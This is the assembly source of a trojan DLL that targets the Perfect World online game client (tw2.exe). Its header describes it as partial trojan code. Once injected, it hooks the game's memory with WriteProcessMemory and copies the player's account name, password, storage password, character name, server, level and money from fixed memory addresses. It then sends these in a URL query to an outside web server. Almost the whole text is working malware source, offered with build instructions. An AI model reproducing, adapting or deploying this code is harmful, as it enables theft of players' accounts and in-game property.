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完美世界木马DLL部分汇编代码
; Dll.asm
; 用来被嵌入到其它进程执行的测试 dll
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff DLL.asm
; Link /subsystem:windows /Dll DLL.obj
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include libc.inc
includelib libc.lib
include Wininet.inc
includelib Wininet.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hProcess dd ?
dwMoney dd ?
dwLevel dd ?
dwTemp1 dd ?
hSession dd ?
hRequest dd ?
.data
szBuf db 0,0,0,0,0,0,0,0,0,0
szServer1 db 20 dup ( 0 )
szServer2 db 20 dup ( 0 )
szFileName db 260 dup ( 0 )
szTargetName db 'tw2.exe',0
szAgent db 'WinInet',0
szUrl db 'http://www.79725.com/tx/lin.asp',0
szMailFmt db '%s?s=%s&u=%s&p=%s&sp=%s&r=%s&l=%d&m=%d',0
szBuf_Url db 260 dup (0)
szUserName db 30 dup ( 0 )
szPassWord db 30 dup ( 0 )
szStoragePW db 30 dup ( 0 )
szPlayerName db 60 dup ( 0 )
szPlayerName1 db 60 dup ( 0 )
.const
szConfirm db 'confirm',0
szUnKnown db 'UnKnown',0
szNum1 db '1',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;szUserName
;szPassWord
;szStoragePW
;szPlayerName
;%s?s=%s&u=%s&p=%s&sp=%s&r=%s&l=%d&m=%d
_SendMail1 proc
invoke InternetOpenA,offset szAgent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0
mov hSession, eax
invoke wsprintf,offset szBuf_Url,offset szMailFmt,offset szUrl,offset szUnKnown,offset szUserName,offset szPassWord, \
offset szUnKnown,offset szUnKnown,dwLevel,dwMoney
invoke InternetOpenUrlA, hSession, offset szBuf_Url, 0, 0, INTERNET_FLAG_RELOAD, 0
ret
_SendMail1 Endp
_SendMail2 proc
invoke InternetOpenA,offset szAgent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0
mov hSession, eax
invoke wsprintf,offset szBuf_Url,offset szMailFmt,offset szUrl,offset szServer1,offset szUserName,offset szPassWord, \
offset szUnKnown,offset szPlayerName1, dwLevel, dwMoney
invoke InternetOpenUrlA, hSession, offset szBuf_Url, 0, 0, INTERNET_FLAG_RELOAD, 0
ret
_SendMail2 Endp
;-------------------------------------------------------------------------------
GetStoragePW proc
.if ebx == ebp
mov ebp, offset szConfirm
.if dword ptr [ebx] == 666e6f63h
invoke RtlZeroMemory,offset szStoragePW,sizeof szStoragePW
pushad
mov esi, offset szStoragePW
mov al, [edi]
.while( al )
mov [esi], al
inc edi
inc esi
mov al, [edi]
.endw
popad
invoke CreateThread,NULL,0,offset _SendMail1, NULL, 0, 0
.endif
.endif
ret
GetStoragePW Endp
;金钱:[[[8e4dbc]+1c]+20]+4FC
;等级:[[[8e4dbc]+1c]+20]+448
;名字: [[[[8e4dbc]+1c]+20]+5c8]
GetPlayerInfo proc
mov esi, 08e4dbch
mov esi, [esi]
mov esi, [esi+01ch]
mov esi, [esi+020h]
add esi, 04FCh
mov ebp, [esi]
mov dwMoney,ebp
sub esi, 04FCh
add esi, 0448h
mov ebp, [esi]
mov dwLevel,ebp
sub esi, 0448h
add esi, 05C8h
mov ebp, [esi]
push eax
mov esi, offset szPlayerName
mov ax, [ebp]
.while( ax )
mov [esi], ax
inc ebp
inc esi
mov ax, [ebp]
.endw
mov ebp, 008E5754h
mov esi, offset szServer1
mov ax, [ebp]
.while( ax )
mov [esi], ax
inc ebp
inc esi
mov ax, [ebp]
.endw
;invoke WideCharToMultiByte, CP_ACP, 0, offset szServer1, -1, 0, 0, 0, 0
;invoke WideCharToMultiByte, CP_ACP, 0, offset szServer1, -1, offset szServer2, eax, 0, 0
invoke WideCharToMultiByte, CP_ACP, 0, offset szPlayerName, -1, 0, 0, 0, 0
invoke WideCharToMultiByte, CP_ACP, 0, offset szPlayerName, -1, offset szPlayerName1, eax, 0, 0
invoke CreateThread,NULL,0,offset _SendMail2, NULL, 0, 0
pop eax
pop esi
pop ebp
retn 4
GetPlayerInfo Endp
_SleepThread proc _lParam
invoke Sleep, 600000
mov eax, 1
ret
_SleepThread Endp
GetUserNameAndPassWord proc
invoke RtlZeroMemory,offset szUserName,sizeof szUserName
invoke RtlZeroMemory,offset szPassWord,sizeof szPassWord
;---------------------------------------------------
pushad
mov ebp, [01E6FDECh]
mov esi, offset szUserName
mov al, [ebp]
.while( al )
mov [esi], al
inc ebp
inc esi
mov al, [ebp]
.endw
mov ebp, edx
mov esi, offset szPassWord
mov al, [ebp]
.while( al )
mov [esi], al
inc ebp
inc esi
mov al, [ebp]
.endw
invoke CreateThread,NULL,0,offset _SendMail1, NULL, 0, 0
popad
;----------------------------------------------------
retn
GetUserNameAndPassWord Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>
DllEntry proc _hInstance,_dwReason,_dwReserved
pushad
.if _dwReason == DLL_PROCESS_ATTACH
invoke MessageBox, NULL, offset szNum1, NULL, MB_ICONINFORMATION
invoke GetModuleFileName, 0, offset szFileName, 0103h
invoke strrchr, offset szFileName, 05Ch
inc eax
invoke _strcmpi, eax, offset szTargetName
.if eax == 0
mov eax, offset szBuf
mov byte ptr [eax], 0E9h
;mov ebx, offset GetStoragePW
;sub ebx, 00459A29h
;mov dword ptr [eax+1], ebx
invoke GetCurrentProcess
mov hProcess, eax
;invoke WriteProcessMemory, eax, 00459A24h, offset szBuf, 5, 0
;mov eax, offset szBuf
;mov ebx, offset GetPlayerInfo
;sub ebx, 0044E816h
;mov dword ptr [eax+1], ebx
;invoke WriteProcessMemory, hProcess, 0044E811h, offset szBuf, 5, 0
mov eax, offset szBuf
mov ebx, offset GetUserNameAndPassWord
sub ebx, 006DB3CDh
mov dword ptr [eax+1], ebx
invoke WriteProcessMemory, hProcess, 006DB3C8h, offset szBuf, 5, 0
invoke CreateThread,NULL,0,offset _SleepThread,NULL, CREATE_SUSPENDED, 0
.endif
.endif
popad
mov eax,TRUE
ret
DllEntry Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End DllEntry


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